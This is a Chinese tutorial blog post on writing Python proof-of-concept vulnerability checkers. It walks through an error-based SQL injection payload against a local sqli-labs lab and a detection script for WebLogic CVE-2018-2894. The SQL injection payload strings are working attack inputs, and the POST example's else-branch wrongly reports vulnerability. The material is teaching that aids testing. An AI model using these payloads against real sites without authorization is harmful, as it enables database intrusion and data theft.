寒假学习第14天--PythonPoc的基础编写

提示:所分享内容仅用于每一个爱好者之间的技术讨论及教育目的,所有渗透及工具的使用都需获取授权,禁止用于违法途径,否则需自行承担,本作者不承担相应的后果。


前言

小六花今天带你学习pythonPoc的教学,当然纯属个人笔记,大佬勿喷


提示:以下是本篇文章正文内容,下面案例可供参考

一、Poc和Exp是什么?

Poc(全称: Proof Of Concept), 中文译作概念验证。在网络安全行业,理解为漏洞验证程序,类似于程序开发中的功能Demo,仅证明某功能或观点的可行性,一般不具备“破坏性”。
Exp(全称: Exploit),中文叫译作漏洞利用程序,就是一段可以发挥漏洞价值的程序。比如SQL注入漏洞,运行Exp脚本可以通过漏洞获取数据库敏感数据内容或服务器权限。
总结poc是验证漏洞出现的脚本,而exp是验证漏洞出现的同时利用脚本
看不懂的可以看这个链接
poc和exp链接

二、开始学习必需要知道的库

requests

一个实现的简单易用的HTTP库
可以看参考链接
requests链接

requests.get(url,headers,data,verify=False,proxies=proxy,timeout=10)
url —— 请求的url
headers —— 请求时构造的请求头
data —— 请求时带入的数据
verify —— 取消https告警
proxies —— 代理设置
timeout —— 请求响应超时处理

argparse

argparse 是 Python 标准库中的一个模块,用于解析命令行参数。它提供了一种简单而灵活的方式来定义命令行接口,并自动生成帮助信息。

import argparse

def main():
    parser = argparse.ArgumentParser(description='这是一个命令行参数示例')
    
    # 添加位置参数
    parser.add_argument('name', type=str, help='您的姓名')
    parser.add_argument('age', type=int, help='您的年龄')
    
    # 添加可选参数
    parser.add_argument('-g', '--gender', type=str, choices=['male', 'female'], default='male', help='您的性别')
    args = parser.parse_args()
    print(args.arg_name)


argparse.ArgumentParser可以轻松地定义和处理命令行参数
parser.add_argument可以定义不同类型的参数,例如位置参数、可选参数、布尔参数等。
**parser.parse_args()**通过调用 parse_args 方法,argparse 将解析命令行中传递的参数,并将其存储在 args 对象中。

其他库

python其他库链接

三、基础学习sqlPoc的编写

sqllabs-less-1

环境用sqllabs来进行举例
我们来到第一关,进行以下的payload

' AND (updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)) 

发现可以爆出版本号,于是简单的poc来了

import requests ##导入库
url="http://127.0.0.1/sql/Less-1/?id=-1"##这里输入你自己搭建的网址
##导入user-agent头,可以在f12网络中找到
headers={'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36'}
##构建payload
payload="'and (updatexml(1,concat(0x7e,(select  version()),0x7e),1)) --+"
##使用requests的get方法
res=requests.get(url+payload,headers=headers,timeout=5)
if "XPATH syntax error: '~5.5.53~'" in res.text:
    print('该网址存在sql注入 ' + url)
else:
    print('该网址不存在sql注入 ' + url)

sqllabs-less-12

import requests
url="http://127.0.0.1/sql/Less-12"
headers={'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36'}
payload={
    "username":"'and (updatexml(1,concat(0x7e,(select  version()),0x7e),1)) --+",
    "password": "123456",
    "submit":"submit"
}##这里用requests的post方法
res=requests.post(url,headers=headers,data=payload,timeout=5)
if "XPATH syntax error: '~5.5.53~'" in res.text:
    print('该网址存在sql注入post ' + url)
else:
    print('该网址存在sql注入post ' + url)

四、实战案例

本次poc环境是Weblogic 任意文件上传(CVE-2018-2894)
看看别人的复现链接复现链接
首先引用两个库requests,和argparse,然后定义一个函数是用来管理命令行参数

import requests
import argparse
def argument():
    parser = argparse.ArgumentParser(description="weblogic任意文件上传漏洞验证")
    parser.add_argument('-u', '--url', type=str, metavar='', required=True, help='请输入url')
    args = parser.parse_args()
    return args

在 argparse 中,
metavar 参数用于指定帮助信息中参数的名称,这里metavar是空
type是类型
required=True 参数用于指定这个参数是必需的
help 参数用于指定帮助信息中参数的描述文本
然后我们可以定义一些修饰的东西

def banner():
    print("""
  _______      ________    ___   ___  __  ___      ___   ___   ___  _  _   
 / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \    |__ \ / _ \ / _ \| || |  
| |     \ \  / /| |__ ______ ) | | | || | (_) |_____ ) | (_) | (_) | || |_ 
| |      \ \/ / |  __|______/ /| | | || |> _ <______/ / > _ < \__, |__   _|
| |____   \  /  | |____    / /_| |_| || | (_) |    / /_| (_) |  / /   | |  
 \_____|   \/   |______|  |____|\___/ |_|\___/    |____|\___/  /_/    |_|                                                                      
 """)

最后完成我们整个的poc函数功能实现

def Poc():
    # 引入 argument() 函数
    args = argument()
    url = args.url

    # 设置 headers
    headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36'}

    try:
        # 进行get请求
        res = requests.get(url, headers=headers, timeout=5, verify=False, allow_redirects=False)

        # 若get请求页面中存在<name>BasicConfigOptions.workDir</name>则存在漏洞
        if "<name>BasicConfigOptions.workDir</name>" in res.text:
            print("[+] 存在 CVE-2018-2894 WebLogic任意文件上传漏洞")
        else:
            print("[-] 不存在 CVE-2018-2894 WebLogic 任意文件上传漏洞")
    except Exception as e:
        print("[-] 请检查输入是否有误!")

if __name__ == '__main__':
    banner()
    Poc()

总结

通过结合几个类型的漏洞进行 Poc 编写,其漏洞验证手段主要是通过匹配漏洞页面的特征码去判断该网站是否存在漏洞,主要使用了 requests 库去实现模拟用户进行请求,然后匹配特征码进行漏洞判断,Poc 编写的难度不大。
到这里,就结束了,小六花祝你每天开心

参考链接

参考链接1
https://www.freebuf.com/sectool/319059.html
https://cloud.tencent.com/developer/article/1759225
https://mp.weixin.qq.com/s/aWbPUANyglL5kWiiFfSRYw

  • 23
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值